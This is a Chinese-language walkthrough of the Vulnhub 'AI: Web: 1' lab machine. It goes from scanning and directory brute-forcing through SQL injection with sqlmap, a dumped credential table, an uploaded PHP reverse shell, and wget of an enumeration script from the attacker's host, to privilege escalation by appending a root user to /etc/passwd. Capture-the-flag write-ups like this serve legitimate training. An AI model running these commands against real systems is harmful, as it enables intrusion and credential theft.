AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
Nmap网络扫描
浏览网页
爆破目录
SQL注入获取凭证
SQL注入获取shell
可写/etc/passwd 提权
读取flag文件
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30
主机发现:
ifconfig
nmap -sn 192.168.123.1/24
主机扫描:
nmap -A 192.168.123.211
发现只有一个80端口打开,用浏览器访问
主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录
/m3diNf0/
/se3reTdir777/uploads/
浏览器打开
禁止访问,使用dirb爆破子目录
发现一个phpinfo页面
再爆破另外一个目录
没有有用的信息
接着爆破上级目录
发现了一个index.php
看到了输入框,先测试是否有sql注入
1' union select 1,2,database() #
观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap
sqlmap -r AI-WEB1.txt --dbs --batch
数据库名为aiweb1
接下来查询库中的所有数据
sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch
password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName | password |
+----+-----------+----------------------------------------------+
| 1 | t00r | FakeUserPassw0rd |
| 2 | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3 | u3er | N0tThis0neAls0 |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell
sqlmap -r AI-WEB1.txt --privileg --batch 查看mysql的权限
FILE权限 可以对服务器本地文件进行操作
尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到
sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell
为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell
php脚本中的IP改为攻击机的IP
c
上传
攻击机监听端口
访问恶意脚本
反弹shell成功 但这只是一个非交互式shell
我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081
靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh
给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh
查看脚本输出信息
发现passwd文件我们竟然能够修改
直接添加一个root用户
openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
添加成功,切换用户(hack:1234)
su hack
id